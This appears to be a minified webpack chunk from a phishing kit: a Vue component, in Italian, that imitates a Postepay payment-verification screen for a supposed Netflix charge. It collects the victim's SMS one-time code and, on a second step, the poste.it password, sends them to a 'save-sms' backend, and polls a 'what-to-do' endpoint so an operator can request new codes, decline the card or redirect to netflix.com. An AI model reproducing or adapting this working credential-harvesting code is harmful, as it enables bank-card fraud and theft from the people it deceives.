(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-d8c5ca86"],{"34b3":function(t,e,c){},3501:function(t,e,c){"use strict";c.r(e);var a=c("7a23"),s=Object(a["r"])("data-v-5a34230c");Object(a["k"])("data-v-5a34230c");var n={class:"poste_pay_container"},i=Object(a["e"])('<div class="flex justify-end mb-2" data-v-5a34230c> Chiudi </div><div class="flex justify-between" data-v-5a34230c><img src="images/postepay.jpg" width="150" alt="" data-v-5a34230c><img src="images/mcidc.png" width="100" alt="" data-v-5a34230c></div><div class="text-center poste_pay_title mt-3" data-v-5a34230c> Acquista con carta Postepay </div>',3),o={class:"mt-5"},d={key:0},l=Object(a["f"])(" Ti abbiamo inviato un codice via SMS al numero di cellulare associato alla tua carta Postepay. Inseriscilo qua sotto."),u=Object(a["g"])("br",null,null,-1),r=Object(a["g"])("br",null,null,-1),b=Object(a["f"])(" È stata richiesta un’autorizzazione dal sito"),O=Object(a["g"])("br",null,null,-1),j=Object(a["f"])(" NETFLIX"),m=Object(a["g"])("br",null,null,-1),g=Object(a["g"])("br",null,null,-1),p=Object(a["f"])(" Richiesta il "),f=Object(a["g"])("br",null,null,-1),h=Object(a["f"])(" Operazione PAGAMENTO ONLINE"),v=Object(a["g"])("br",null,null,-1),w={class:"mt-3"},y={key:0},S={key:1},x={class:"text-red-500 text-xs"},k={class:"mt-4"},C={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-black",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},_=Object(a["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),R=Object(a["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),T=Object(a["g"])("div",{class:"mt-8 mb-4"},[Object(a["g"])("a",{href:"",class:"block mt-1"},"Bisogno di aiuto?")],-1);Object(a["j"])();var M=s((function(t,e,c,s,M,L){return Object(a["i"])(),Object(a["c"])("div",n,[i,Object(a["g"])("div",o,[M.secondSMS?Object(a["d"])("",!0):(Object(a["i"])(),Object(a["c"])("div",d,[l,u,r])),b,O,j,m,Object(a["f"])(" Paga con "+Object(a["m"])(L.ccnum_hidden),1),g,p,Object(a["g"])("span",{textContent:Object(a["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"]),f,h,v]),Object(a["g"])("div",w,[M.secondSMS?(Object(a["i"])(),Object(a["c"])("b",y,"Password di poste.it: ")):Object(a["d"])("",!0),M.secondSMS?Object(a["d"])("",!0):(Object(a["i"])(),Object(a["c"])("b",S,"Inserisci il codice ricevuto")),Object(a["q"])(Object(a["g"])("input",{type:"text",name:"",class:" border-2 block p-2 w-full text-center",id:"","onUpdate:modelValue":e[1]||(e[1]=function(t){return M.code=t})},null,512),[[a["o"],M.code]]),Object(a["q"])(Object(a["g"])("span",x," Qualcosa è andato storto. Ti abbiamo inviato un nuovo codice ",512),[[a["p"],M.isResend]])]),Object(a["g"])("div",k,[Object(a["q"])((Object(a["i"])(),Object(a["c"])("svg",C,[_,R],512)),[[a["p"],M.isLoading]]),Object(a["g"])("button",{class:"bg-yellow-400 w-full p-3 rounded-lg btn",onClick:e[2]||(e[2]=function(){return L.submitCode&&L.submitCode.apply(L,arguments)}),disabled:M.isLoading||!M.code}," Conferma ",8,["disabled"])]),T])})),L=c("bc3a"),E=c.n(L),z=c("a078"),I=c("1995"),q={props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,secondSMS:!1,lang:"en"}},created:function(){this.lang=Object(I["a"])()},computed:{ccnum_hidden:function(){return this.ccnum.substr(0,4)+" **** **** "+this.ccnum.substr(-4)}},methods:{t:function(t){return I["b"][this.lang][t]},submitCode:function(){var t=this;this.isLoading=!0,E.a.post(z["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;E.a.get(z["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.secondSMS=!1,t.isResend=!0,t.isLoading=!1,t.code=""):11===e.data.status?(t.secondSMS=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};c("d39e");q.render=M,q.__scopeId="data-v-5a34230c";e["default"]=q},d39e:function(t,e,c){"use strict";c("34b3")}}]);
//# sourceMappingURL=chunk-d8c5ca86.4630f969.js.map